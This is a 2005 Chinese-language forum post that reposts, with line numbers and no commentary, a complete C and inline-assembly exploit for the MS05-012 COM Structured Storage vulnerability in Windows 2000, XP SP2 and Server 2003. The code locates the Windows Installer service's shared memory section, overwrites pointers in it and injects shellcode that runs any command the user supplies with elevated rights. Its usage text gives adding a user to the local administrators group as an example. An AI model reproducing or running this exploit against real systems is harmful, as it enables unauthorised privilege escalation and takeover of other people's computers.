Board logo

标题: ms05012 [打印本页]

作者: 千與千尋    时间: 2005-6-10 05:47     标题: ms05012

  1. // by Cesar Cerrudo - Argeniss - www.argeniss.com
  2. // MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
  3. //
  4. // More exploits at www.argeniss.com/products.html
  5. //
  6. // Works on Win2k sp4, WinXP sp2, Win2k3 sp0
  7. // Close all runing programs to avoid possible problems
  8. // If it finds the section and it doesn';t work remove section permissions
  9. // from msiexec service process with WinObj or crash the msiexec service and try again
  10. // if offsets don';t work, debug and change them
  11. &#35;include <windows.h>
  12. &#35;include <stdio.h>
  13. typedef struct _LSA_UNICODE_STRING {
  14. USHORT Length;
  15. USHORT MaximumLength;
  16. PWSTR Buffer;
  17. } UNICODE_STRING;
  18. typedef struct _OBJDIR_INFORMATION {
  19. UNICODE_STRING ObjectName;
  20. UNICODE_STRING ObjectTypeName;
  21. BYTE Data[1];
  22. } OBJDIR_INFORMATION;
  23. typedef struct _OBJECT_ATTRIBUTES {
  24. ULONG Length;
  25. HANDLE RootDirectory;
  26. UNICODE_STRING *ObjectName;
  27. ULONG Attributes;
  28. PVOID SecurityDescriptor;
  29. PVOID SecurityQualityOfService;
  30. } OBJECT_ATTRIBUTES;
  31. &#35;define InitializeObjectAttributes( p, n, a, r, s ) { \
  32. (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
  33. (p)->RootDirectory = r; \
  34. (p)->Attributes = a; \
  35. (p)->ObjectName = n; \
  36. (p)->SecurityDescriptor = s; \
  37. (p)->SecurityQualityOfService = NULL; \
  38. }
  39. typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath,
  40. LPCSTR szCommandLine);
  41. MSIINSTALLPRODUCT MsiInstallProduct;
  42. typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE,
  43. OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
  44. NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;
  45. typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *,
  46. DWORD,OBJECT_ATTRIBUTES* );
  47. NTOPENDIRECTORYOBJECT NtOpenDirectoryObject;
  48. DWORD WINAPI LoadWinInstaller(LPVOID lpParam)
  49. {
  50. HMODULE hMsi;
  51. hMsi = LoadLibrary("msi.dll");
  52. MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
  53. //run unistall , without permissions this makes a windows pop up
  54. //while this window is showing the shared section is created and
  55. //available on Windows Installer service process
  56. MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
  57. return 0;
  58. }
  59. int main(int argc, char* argv[])
  60. {
  61. OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(),
  62. 0, 0x800);
  63. HANDLE hFile,hThread,hMapFile;
  64. HMODULE hNtdll ,hKernel;
  65. DWORD dwThreadId;
  66. OBJECT_ATTRIBUTES obj;
  67. WCHAR * uString=L"\\BaseNamedObjects";
  68. UNICODE_STRING str;
  69. DWORD i,a,iStrLen,b=0;
  70. char sObjName[30],sTmp[50];
  71. LPVOID lpMapAddress;
  72. FARPROC pWinExec,pExitThread;
  73. bool bFound;
  74. char* sCommand;
  75. if (!argv[1]||!argv[2]) {
  76. printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\" \n");
  77. printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\"
  78. (cmd.exe will interactively run on Win2k only) \n SSExploit \"
  79. c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
  80. exit(0);
  81. }
  82. iStrLen=strlen(argv[2]);
  83. if(iStrLen>=65){
  84. printf("\n\"command\" must be less than 65 chars.\n");
  85. exit(0);
  86. }
  87. sCommand=argv[2];
  88. hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId);
  89. Sleep(3000);
  90. hNtdll = LoadLibrary("ntdll.dll");
  91. NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
  92. NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
  93. str.Length=wcslen(uString)*2;
  94. str.MaximumLength =wcslen(uString)*2+2;
  95. str.Buffer =uString;
  96. InitializeObjectAttributes (&obj, &str, 0, 0, 00);
  97. NtOpenDirectoryObject(&hFile,0x20001,&obj);
  98. printf("\nSearching for Shared Section...\n\n");
  99. // Get all objects names under \BaseNamedObjects
  100. if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
  101. do{
  102. bFound=NULL;
  103. while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
  104. //check if it';s a section name
  105. if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){
  106. for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
  107. sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
  108. }
  109. //check if it';s the one we are searching for
  110. if (!strncmp(sObjName,"DfSharedHeap",12)){
  111. bFound=1;
  112. break;
  113. }
  114. }
  115. }
  116. if (bFound)
  117. printf("Shared Section Found: %s\n",sObjName);
  118. else {
  119. printf("Shared Section Not Found");
  120. exit(0);
  121. }
  122. strcpy(sTmp,"Global\\");
  123. strcat(sTmp,sObjName); //append global prefix to support Terminal Services
  124. hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp);
  125. //the shared section name couldn';t be the one we are searching for
  126. if (hMapFile == NULL)
  127. printf("Could not open Shared Section\n\n");
  128. else
  129. printf("Shared Section opened\n\n");
  130. } while (hMapFile == NULL) ;
  131. lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
  132. if (lpMapAddress == NULL) {
  133. printf("Could not map Shared Section");
  134. exit(0);
  135. }
  136. else
  137. printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n");
  138. hKernel=LoadLibrary("Kernel32.dll");
  139. pWinExec=GetProcAddress(hKernel,"WinExec");
  140. pExitThread=GetProcAddress(hKernel,"ExitThread");
  141. _asm{
  142. mov eax,fs:[30h] // get pointer to PEB
  143. mov eax,[eax+0A8h] // get OS minor version
  144. cmp eax,0x0
  145. jz W2ksp4
  146. cmp eax,0x1
  147. jz WinXPsp2
  148. jmp Win2K3 // address of section seems static on same OS version
  149. W2Ksp4:
  150. mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
  151. mov edx,0x01020004 // address of shellcode
  152. jmp Done
  153. WinXPsp2:
  154. mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer
  155. mov edx,0x00870004 // address of shellcode
  156. jmp Done
  157. Win2K3:
  158. mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer
  159. mov edx,0x007C0004 // address of shellcode
  160. Done:
  161. mov ebx,lpMapAddress
  162. mov ecx, 0x1000
  163. l00p: // overwrite section data, so overwriten structures will point to shellcode
  164. mov dword ptr[ebx],eax
  165. sub ecx,0x4
  166. add ebx,0x4
  167. cmp ecx,0x0
  168. jnz l00p
  169. mov ebx,lpMapAddress //address of shellcode
  170. mov dword ptr[ebx],edx
  171. //start copying shellcode
  172. lea esi, Shellcode
  173. lea edi, [ebx+4]
  174. lea ecx, End
  175. sub ecx, esi
  176. push esi
  177. push edi
  178. cld
  179. rep movsb
  180. pop edi
  181. pop esi
  182. push edi
  183. lea ecx, CommandBuf
  184. sub ecx, esi
  185. add edi, ecx
  186. mov esi, sCommand
  187. mov ecx, iStrLen
  188. rep movsb
  189. mov [edi], 0x00
  190. pop edi
  191. mov esi, pWinExec
  192. mov [edi+0x5], esi
  193. mov esi, pExitThread
  194. mov [edi+0x9], esi
  195. }
  196. printf("Command should have been executed ;)\n");
  197. CloseHandle(hMapFile);
  198. }
  199. else printf("Couldn';t get object names \n");
  200. return 0;
  201. _asm{
  202. Shellcode:
  203. call getDelta
  204. // this gets overwrited
  205. mov ax,0xffff
  206. mov ax,0xffff
  207. CommandBuf: // this gets overwrited
  208. mov dword ptr[eax],0x55555555
  209. mov dword ptr[eax],0x55555555
  210. mov dword ptr[eax],0x55555555
  211. mov dword ptr[eax],0x55555555
  212. mov dword ptr[eax],0x55555555
  213. mov dword ptr[eax],0x55555555
  214. mov dword ptr[eax],0x55555555
  215. mov dword ptr[eax],0x55555555
  216. mov dword ptr[eax],0x55555555
  217. mov dword ptr[eax],0x55555555
  218. mov dword ptr[eax],0x55555555
  219. getDelta:
  220. pop edx // Get shellcode/shared section pointer
  221. push edx // save edx
  222. push 0x1 // push 0x0 for hidden window
  223. lea eax, [edx+0x8]
  224. push eax // Command offset
  225. call [edx] // Call WinExec
  226. pop edx
  227. call [edx+0x4] // Call ExitThread to avoid msiexec service to crash
  228. End:
  229. }
  230. }
复制代码





欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2